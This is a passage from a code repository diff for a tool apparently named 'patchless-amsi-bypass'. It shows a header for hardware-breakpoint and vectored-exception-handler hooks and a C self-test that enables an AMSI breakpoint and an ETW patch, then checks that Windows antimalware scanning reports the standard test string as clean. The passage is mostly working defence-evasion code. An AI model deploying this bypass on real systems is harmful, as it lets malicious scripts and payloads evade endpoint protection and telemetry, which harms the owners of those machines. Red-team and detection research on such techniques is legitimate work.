/* Per-Dr handler:
|
||||
* exc : exception info (we mutate Context to redirect execution)
|
||||
* target : the function address that fired the breakpoint
|
||||
* user_ctx : user-supplied opaque
|
||||
* Return : EXCEPTION_CONTINUE_EXECUTION if handled, or EXCEPTION_CONTINUE_SEARCH.
|
||||
*/
|
||||
typedef LONG (NTAPI *bp_dr_handler_t)(EXCEPTION_POINTERS *exc,
|
||||
PVOID target,
|
||||
PVOID user_ctx);
|
||||
|
||||
/* Register a handler bound to a Dr register (0..3) and a target address. */
|
||||
BOOL bp_veh_install(int dr_index, PVOID target,
|
||||
bp_dr_handler_t handler, PVOID user_ctx);
|
||||
|
||||
/* Remove handler for Dr index, clear Dr in current thread context. */
|
||||
void bp_veh_uninstall(int dr_index);
|
||||
|
||||
/* Tear down VEH entirely. */
|
||||
void bp_veh_shutdown(void);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,99 @@
|
||||
/* test_minimal.c
|
||||
*
|
||||
* Sanity check for patchless-amsi-bypass:
|
||||
* 1) Call bp_init(BP_AMSI_HWBP | BP_ETW_PATCH).
|
||||
* 2) Resolve and call amsi!AmsiScanBuffer on a string the installed AMSI
|
||||
* provider would normally flag.
|
||||
* 3) Assert the result is AMSI_RESULT_CLEAN — proves the HW BP intercepted
|
||||
* the call and rewrote the result pointer.
|
||||
* 4) Tear down via bp_shutdown().
|
||||
*
|
||||
* Authorised testing only.
|
||||
*/
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include "../include/bypass.h"
|
||||
|
||||
typedef HANDLE HAMSICONTEXT;
|
||||
typedef HANDLE HAMSISESSION;
|
||||
typedef int AMSI_RESULT;
|
||||
#define AMSI_RESULT_CLEAN 0
|
||||
#define AMSI_RESULT_DETECTED 32768
|
||||
|
||||
typedef HRESULT (WINAPI *AmsiInitialize_t )(LPCWSTR, HAMSICONTEXT *);
|
||||
typedef VOID (WINAPI *AmsiUninitialize_t)(HAMSICONTEXT);
|
||||
typedef HRESULT (WINAPI *AmsiOpenSession_t )(HAMSICONTEXT, HAMSISESSION *);
|
||||
typedef VOID (WINAPI *AmsiCloseSession_t)(HAMSICONTEXT, HAMSISESSION);
|
||||
typedef HRESULT (WINAPI *AmsiScanBuffer_t )(HAMSICONTEXT, PVOID, ULONG,
|
||||
LPCWSTR, HAMSISESSION, AMSI_RESULT *);
|
||||
|
||||
/* The standard AMSI test string. Defenders' AMSI providers return DETECTED on it. */
|
||||
static const char AMSI_TEST_STRING[] =
|
||||
"AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386";
|
||||
|
||||
int main(void)
|
||||
{
|
||||
printf("=============================================\n");
|
||||
printf(" patchless-amsi-bypass — minimal self-test\n");
|
||||
printf("=============================================\n");
|
||||
printf("[*] PID = %lu\n", (unsigned long)GetCurrentProcessId());
|
||||
|
||||
printf("[*] bp_init(BP_AMSI_HWBP | BP_ETW_PATCH) ...\n");
|
||||
bp_result_t r = bp_init(BP_AMSI_HWBP | BP_ETW_PATCH);
|
||||
printf(" -> %s (code %d)\n", bp_strerror(r), (int)r);
|
||||
if (r != BP_OK) {
|
||||
printf("[-] init failed; aborting\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
/* AMSI scan test */
|
||||
HMODULE amsi = LoadLibraryW(L"amsi.dll");
|
||||
if (!amsi) {
|
||||
printf("[-] LoadLibrary(amsi.dll) failed\n");
|
||||
bp_shutdown();
|
||||
return 2;
|
||||
}
|
||||
|
||||
AmsiInitialize_t Init = (AmsiInitialize_t )(void*)GetProcAddress(amsi, "AmsiInitialize");
|
||||
AmsiUninitialize_t UInit = (AmsiUninitialize_t)(void*)GetProcAddress(amsi, "AmsiUninitialize");
|
||||
AmsiOpenSession_t Open = (AmsiOpenSession_t )(void*)GetProcAddress(amsi, "AmsiOpenSession");
|
||||
AmsiCloseSession_t Close = (AmsiCloseSession_t)(void*)GetProcAddress(amsi, "AmsiCloseSession");
|
||||
AmsiScanBuffer_t Scan = (AmsiScanBuffer_t )(void*)GetProcAddress(amsi, "AmsiScanBuffer");
|
||||
|
||||
if (!Init || !Scan) {
|
||||
printf("[-] amsi.dll symbols not resolvable\n");
|
||||
bp_shutdown();
|
||||
return 3;
|
||||
}
|
||||
|
||||
HAMSICONTEXT ctx = NULL;
|
||||
HAMSISESSION ses = NULL;
|
||||
if (Init(L"patchless-amsi-test", &ctx) != S_OK) {
|
||||
printf("[-] AmsiInitialize failed\n");
|
||||
bp_shutdown();
|
||||
return 4;
|
||||
}
|
||||
Open(ctx, &ses);
|
||||
|
||||
AMSI_RESULT res = AMSI_RESULT_DETECTED; /* default to "detected" */
|
||||
HRESULT hr = Scan(ctx, (PVOID)AMSI_TEST_STRING,
|
||||
(ULONG)sizeof(AMSI_TEST_STRING) - 1,
|
||||
L"test", ses, &res);
|
||||
|
||||
printf("[*] AmsiScanBuffer hr = 0x%lx result = %d\n",
|
||||
(unsigned long)hr, (int)res);
|
||||
|
||||
if (hr == S_OK && res == AMSI_RESULT_CLEAN)
|
||||
printf("[+] AMSI BYPASS WORKED\n");
|
||||
else
|
||||
printf("[-] AMSI bypass did not engage (result = %d)\n", (int)res);
|
||||
|
||||
Close(ctx, ses);
|
||||
UInit(ctx);
|
||||
|
||||
printf("[*] bp_shutdown()\n");
|
||||
bp_shutdown();
|
||||
printf("[+] done.\n");
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user